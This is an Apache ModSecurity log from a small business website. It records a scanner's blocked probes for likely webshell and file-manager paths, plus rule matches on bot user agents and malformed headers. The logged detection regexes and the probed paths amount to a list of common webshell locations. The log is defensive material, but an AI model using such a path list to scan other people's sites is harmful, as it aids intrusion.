[Tue Dec 02 23:32:06.458334 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20450] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aS8GduQEp5icp6XOJr0yAwAAAEQ"]
[Tue Dec 02 23:32:06.822153 2025] [:error] [pid 3760:tid 3769] [client 20.196.108.177:19925] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aS8GdljLYEjdWVcKgVWZ-gAAAMc"]
[Tue Dec 02 23:32:07.150649 2025] [:error] [pid 3760:tid 3784] [client 20.196.108.177:20010] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aS8Gd1jLYEjdWVcKgVWZ-wAAANY"]
[Tue Dec 02 23:32:07.566628 2025] [:error] [pid 3647:tid 3658] [client 20.196.108.177:20355] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aS8Gd1JaqGDFgh_0XI_YrAAAAAU"]
[Tue Dec 02 23:32:07.958521 2025] [:error] [pid 48650:tid 48664] [client 20.196.108.177:19876] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aS8Gd4QuWSn3xrJsXbn8VgAAAck"]
[Tue Dec 02 23:32:08.445988 2025] [:error] [pid 5273:tid 5319] [client 20.196.108.177:20407] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aS8GeCMmXO5H1kNwHHWHWQAAAZE"]
[Tue Dec 02 23:32:08.960482 2025] [:error] [pid 48650:tid 48660] [client 20.196.108.177:20054] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aS8GeIQuWSn3xrJsXbn8WgAAAcU"]
[Tue Dec 02 23:32:09.420326 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:20469] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aS8GeYQuWSn3xrJsXbn8XgAAAco"]
[Tue Dec 02 23:32:09.764509 2025] [:error] [pid 48650:tid 48676] [client 20.196.108.177:20002] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aS8GeYQuWSn3xrJsXbn8YQAAAdU"]
[Tue Dec 02 23:32:10.143481 2025] [:error] [pid 48650:tid 48660] [client 20.196.108.177:20413] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aS8GeoQuWSn3xrJsXbn8ZAAAAcU"]
[Tue Dec 02 23:32:10.454133 2025] [:error] [pid 3648:tid 3703] [client 20.196.108.177:20476] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aS8GeuQEp5icp6XOJr0yBwAAAFM"]
[Tue Dec 02 23:32:10.794341 2025] [:error] [pid 5272:tid 5277] [client 20.196.108.177:20360] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aS8GeuwbFoRzPGfZYVSQmAAAAUI"]
[Tue Dec 02 23:32:11.120620 2025] [:error] [pid 3647:tid 3656] [client 20.196.108.177:19982] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aS8Ge1JaqGDFgh_0XI_YsQAAAAM"]
[Tue Dec 02 23:32:11.462411 2025] [:error] [pid 3647:tid 3672] [client 20.196.108.177:19944] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aS8Ge1JaqGDFgh_0XI_YsgAAABM"]
[Tue Dec 02 23:32:11.864097 2025] [:error] [pid 3647:tid 3657] [client 20.196.108.177:20025] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aS8Ge1JaqGDFgh_0XI_YswAAAAQ"]
[Tue Dec 02 23:32:12.278645 2025] [:error] [pid 5273:tid 5313] [client 20.196.108.177:19953] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS8GfCMmXO5H1kNwHHWHXQAAAYs"]
[Tue Dec 02 23:32:12.785145 2025] [:error] [pid 48650:tid 48669] [client 20.196.108.177:19909] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS8GfIQuWSn3xrJsXbn8bQAAAc4"]
[Tue Dec 02 23:32:13.105541 2025] [:error] [pid 3647:tid 3663] [client 20.196.108.177:19915] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS8GfVJaqGDFgh_0XI_YtgAAAAo"]
[Tue Dec 02 23:32:13.506906 2025] [:error] [pid 5273:tid 5323] [client 20.196.108.177:20305] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aS8GfSMmXO5H1kNwHHWHXwAAAZU"]
[Tue Dec 02 23:32:13.839478 2025] [:error] [pid 5273:tid 5319] [client 20.196.108.177:19911] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aS8GfSMmXO5H1kNwHHWHYAAAAZE"]
[Tue Dec 02 23:32:14.214110 2025] [:error] [pid 5272:tid 5295] [client 20.196.108.177:19989] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aS8GfuwbFoRzPGfZYVSQnQAAAVQ"]
[Tue Dec 02 23:32:14.653708 2025] [:error] [pid 3760:tid 3762] [client 20.196.108.177:20410] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aS8GfljLYEjdWVcKgVWZ_wAAAMA"]
[Tue Dec 02 23:32:14.968601 2025] [:error] [pid 5232:tid 5252] [client 20.196.108.177:20461] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aS8GfgApmO-auDy1ob4pvAAAARI"]
[Tue Dec 02 23:32:15.297086 2025] [:error] [pid 5273:tid 5310] [client 20.196.108.177:20016] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aS8GfyMmXO5H1kNwHHWHYQAAAYg"]
[Tue Dec 02 23:32:15.600709 2025] [:error] [pid 5272:tid 5279] [client 20.196.108.177:20288] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aS8Gf-wbFoRzPGfZYVSQngAAAUQ"]
[Tue Dec 02 23:32:17.051462 2025] [:error] [pid 5272:tid 5278] [client 20.196.108.177:20096] [client 20.196.108.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aS8GgewbFoRzPGfZYVSQogAAAUM"]
[Tue Dec 02 23:32:19.372030 2025] [:error] [pid 3648:tid 3686] [client 20.196.108.177:19920] [client 20.196.108.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aS8Gg-QEp5icp6XOJr0yFgAAAEI"]
[Tue Dec 02 23:32:21.086940 2025] [:error] [pid 5232:tid 5239] [client 20.196.108.177:20475] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aS8GhQApmO-auDy1ob4pywAAAQU"]
[Tue Dec 02 23:32:21.462240 2025] [:error] [pid 5232:tid 5238] [client 20.196.108.177:20440] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aS8GhQApmO-auDy1ob4pzAAAAQQ"]
[Tue Dec 02 23:32:21.902154 2025] [:error] [pid 3647:tid 3654] [client 20.196.108.177:19927] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aS8GhVJaqGDFgh_0XI_YygAAAAE"]
[Tue Dec 02 23:32:22.286332 2025] [:error] [pid 3647:tid 3655] [client 20.196.108.177:20377] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tgrs.php"] [unique_id "aS8GhlJaqGDFgh_0XI_YywAAAAI"]
[Tue Dec 02 23:32:22.590141 2025] [:error] [pid 5272:tid 5294] [client 20.196.108.177:20294] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aS8GhuwbFoRzPGfZYVSQqQAAAVM"]
[Tue Dec 02 23:32:22.910249 2025] [:error] [pid 3648:tid 3705] [client 20.196.108.177:20381] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aS8GhuQEp5icp6XOJr0yGAAAAFU"]
[Tue Dec 02 23:32:23.234507 2025] [:error] [pid 3760:tid 3769] [client 20.196.108.177:20453] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aS8Gh1jLYEjdWVcKgVWaBwAAAMc"]
[Tue Dec 02 23:32:23.613304 2025] [:error] [pid 3760:tid 3776] [client 20.196.108.177:20470] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aS8Gh1jLYEjdWVcKgVWaCQAAAM4"]
[Tue Dec 02 23:32:24.005426 2025] [:error] [pid 5232:tid 5253] [client 20.196.108.177:19956] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aS8GiAApmO-auDy1ob4pzQAAARM"]
[Tue Dec 02 23:32:24.431731 2025] [:error] [pid 5273:tid 5314] [client 20.196.108.177:20297] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aS8GiCMmXO5H1kNwHHWHbQAAAYw"]
[Tue Dec 02 23:32:24.740181 2025] [:error] [pid 5273:tid 5321] [client 20.196.108.177:20312] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aS8GiCMmXO5H1kNwHHWHbgAAAZM"]
[Tue Dec 02 23:32:25.049190 2025] [:error] [pid 3647:tid 3665] [client 20.196.108.177:19928] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aS8GiVJaqGDFgh_0XI_YzgAAAAw"]
[Tue Dec 02 23:32:25.447630 2025] [:error] [pid 48650:tid 48673] [client 20.196.108.177:20068] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aS8GiYQuWSn3xrJsXbn8dwAAAdI"]
[Tue Dec 02 23:32:25.972286 2025] [:error] [pid 3648:tid 3703] [client 20.196.108.177:20424] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aS8GieQEp5icp6XOJr0yIAAAAFM"]
[Tue Dec 02 23:32:26.684330 2025] [:error] [pid 3649:tid 3729] [client 20.196.108.177:20181] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aS8GirwjL4uqC6YFjxHLwAAAAJI"]
[Tue Dec 02 23:32:27.658868 2025] [:error] [pid 3648:tid 3708] [client 20.196.108.177:20356] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/z.php"] [unique_id "aS8Gi-QEp5icp6XOJr0yIgAAAFg"]
[Tue Dec 02 23:32:28.239424 2025] [:error] [pid 5273:tid 5302] [client 20.196.108.177:20449] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aS8GjCMmXO5H1kNwHHWHdQAAAYA"]
[Tue Dec 02 23:32:28.543105 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:20388] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aS8GjIQuWSn3xrJsXbn8ewAAAco"]
[Tue Dec 02 23:32:28.862314 2025] [:error] [pid 48650:tid 48670] [client 20.196.108.177:19962] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aS8GjIQuWSn3xrJsXbn8fQAAAc8"]
[Tue Dec 02 23:32:29.206051 2025] [:error] [pid 5273:tid 5306] [client 20.196.108.177:20293] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aS8GjSMmXO5H1kNwHHWHdgAAAYQ"]
[Wed Dec 03 00:35:46.934704 2025] [:error] [pid 25475:tid 25516] [client 14.215.163.132:44410] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aS8VYh7VdEeEe8GnPSX-4gAAAQQ"]
[Wed Dec 03 03:02:07.382759 2025] [:error] [pid 47158:tid 47174] [client 135.181.4.161:44560] [client 135.181.4.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aS83r13-jeg4VwJRw7FRlwAAAM4"]
[Wed Dec 03 03:02:08.146162 2025] [:error] [pid 25475:tid 25534] [client 135.181.4.161:44562] [client 135.181.4.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aS83sB7VdEeEe8GnPSV3dQAAARY"]
[Wed Dec 03 06:18:05.966361 2025] [:error] [pid 36048:tid 36055] [client 43.130.105.21:50052] [client 43.130.105.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aS9lnRATOC5ACZsH0EJ6PgAAAQQ"]
[Wed Dec 03 06:42:28.232503 2025] [:error] [pid 33412:tid 33464] [client 49.7.227.204:57994] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aS9rVEcTQQQWx2_k4FdD7wAAAhQ"]
[Wed Dec 03 08:21:06.474884 2025] [:error] [pid 22014:tid 22055] [client 146.70.192.164:58094] [client 146.70.192.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.192.164, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aS-CcggpXEQej7y9Y6YFswAAAQk"]
